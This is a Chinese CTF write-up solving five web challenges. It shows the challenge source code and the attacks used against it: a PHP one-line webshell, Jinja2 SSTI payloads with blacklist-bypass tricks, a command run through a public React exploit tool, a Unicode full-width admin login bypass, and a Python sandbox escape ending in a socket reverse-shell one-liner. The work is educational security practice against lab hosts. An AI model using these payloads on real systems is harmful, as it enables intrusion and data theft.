战队成员推荐的,本菜狗来做做看
ezshell 1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__file__);$black_list =['eval' ,'system' ,'cat' ,'tac' ,'ls' ,'tail' ,'more' ,'less' ,'nl' ];$a =$_POST ['t0mcater' ];for ($i =0 ;$i <9 ;$i ++){ if (strpos ($a , $black_list [$i ]) !== false ){ die ("bad hacker!" ); } } shell_exec ($a );
写马即可
1 echo '<?=$_GET[1]($_GET[2])?>' > 3.php
其他解,或者打反弹shell吧
babyssti 题目提示打SSTI,注入49直接回显49,基本确定打Jinja2了
1 2 {{'' .__class__.__mro__[-1].__subclasses__()[134].__init__.__globals__['popen' ]('cat /flag.txt ' ).read ()}} {{namespace.__init__.__globals__.os.popen('cat /flag.txt' ).read ()}}
babyssti_revenge 打白盒,ban了一些常规手段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask,render_template_string,request,render_templateapp=Flask(__name__) @app.route('/' ,methods=['GET' ,'POST' ] ) def index (): black_list=['__class__' ,'__init__' ,'7' ,'*' ,'import' ,'os' ,'popen' ,'__' ,'system' ] if request.method=='POST' : name=request.form.get('name' ) for black in black_list: if black in name: return "waf!" result=render_template_string(name) return 'ok' return render_template('index.html' ) if __name__=='__main__' : app.run(host='0.0.0.0' ,port=5000 )
是个无回显SSTI,利用字符拼接尝试盲注延时成功
1 name={{lipsum['_''_glo''bals_''_']['o''s']['pop''en'](request.args.get('c')|join)['re''ad']()}}
反弹shell,get传递参数cmd反弹shell命令
1 {{lipsum%5B'_' '_glo' 'bals_' '_' %5D%5B'o' 's' %5D%5B'pop' 'en' %5D(request.args.cmd)%5B're' 'ad' %5D()}}
没反弹成功,可能是环境不出网,尝试文件写入
1 2 http://5000-3391a7a6-f7f6-4d5b-b33e-755d42271279.challenge.ctfplus.cn/a%3D__globals__%26b%3D__getitem__%26c%3Dos%26d%3Dpopen%26e%3Dmkdir%20-p%20static%20%26%26%20cat%20%2Fflag.txt%20%3E%20static%2Ff.txt name={{lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr('read')()}}
无敌了,直接爆500,拿了taffy师傅的脚本跑出来了,但是不知道为什么我的payload不行,知道的师傅可以把原因发给我个人主页里的邮箱感谢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport urllib.parseTARGET = "http://5000-67a970ac-e0c6-4831-8d4e-e492cddda178.challenge.ctfplus.cn/" params = { "a" : "__globals__" , "b" : "__getitem__" , "c" : "os" , "d" : "popen" , "e" : "mkdir -p static && cat /flag.txt > static/f.txt" , } payload = "{{lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr('read')()}}" url = TARGET + "?" + urllib.parse.urlencode(params) requests.post(url, data={"name" : payload}) resp = requests.get(TARGET + "static/f.txt" ) print (resp.text)
react2shell 上网搜一下就能找到CVE-2025-55182
自动化工具https://github.com/AsadAhmad-1337/React-2-Shell
1 python react-2 -shell-ultimate.py -t http://3000 -32d0944e-6422 -4cce-bc96-99fd6716a82e.challenge.ctfplus.cn/ -c "cat /flag"
myblog 使用execute功能需要管理员账户,来看看注册逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @auth_bp.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form.get('username' ) password=request.form.get('password' ) if username == 'admin' : flash("想得美" ) return redirect(url_for('auth.register' )) normalized_name = unicodedata.normalize('NFKC' , username).lower() flash(f"注册并登录成功,欢迎:{normalized_name} " ) user_db[normalized_name]=password return redirect(url_for('auth.login' )) return render_template('register.html' )
检查注册用户名是否为admin,然后进行unicodedata.normalize('NFKC', username).lower() 的操作,再将该用户对应的密码修改,自己打的时候用的是ADMIN大写绕过,别的师傅用的是Unicode NFKC 归一化 特性利用全角字符绕过,这里我给个之前打UNICTF的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def to_full_width (text ): """将半角字符转换为全角字符""" result = [] for char in text: code = ord (char) if 33 <= code <= 126 : result.append(chr (code + 0xFEE0 )) elif char == ' ' : result.append(' ' ) else : result.append(char) return '' .join(result) test_text = "admin" full_width_text = to_full_width(test_text) print ("原文本:" , test_text)print ("全角文本:" , full_width_text)print ("长度对比:" , len (test_text), "→" , len (full_width_text))
登陆后访问/execute路由,打python沙箱逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @blog_bp.route('/execute' , methods=['GET' , 'POST' ] ) def sandbox (): if session.get('user' ) != 'admin' : flash("npnpnp" ) return redirect(url_for('blog.view' )) output = "" if request.method == 'POST' : code = request.form.get('code' ) safe_globals = {"__builtins__" : {}} original_stdout = sys.stdout sys.stdout = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() except Exception as e: output = f"Error: {str (e)} " finally : sys.stdout = original_stdout return render_template('sandbox.html' , output=output, code=code) return render_template('sandbox.html' )
就是把__builtins__置空了,打的Python 类继承链,利用访问不存在的属性报错输出,自己写个脚本找到拥有初始化和全局的子类,这里使用的是catch_warnings
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requeststarget_url = 'http://8080-d9f9f5af-475b-4019-82ce-f725c0838849.challenge.ctfplus.cn/execute' Cookies = {'session' : 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIndlbGNvbWUgYWRtaW4hIl19XSwidXNlciI6ImFkbWluIn0.adt_3A.om6raftY5KMoX7pwoTgxO2ZCdJ0' } target = 'catch_warnings' def find (): i = 1 while True : data = {'code' : f'().__class__.__mro__[-1].__subclasses__()[{i} ].G3ng4r' } res = requests.post(target_url, cookies=Cookies,data=data) if target in res.text: print (f'{target} 类是{i} 个' ) exit() elif 'Error: list index out of range' in res.text: print (f'[-]{target} 类不在范围内' ) exit() else : print (f'[-]第{i} 次未找到{target} 类' ) i += 1 if __name__ == '__main__' : find()
结果是241,无回显,我打的是反弹shell,最终payload:
1 '' .__class__.__mro__[-1 ].__subclasses__()[241 ].__init__.__globals__['__builtins__' ]["__import__" ]("os" ).popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" ).read()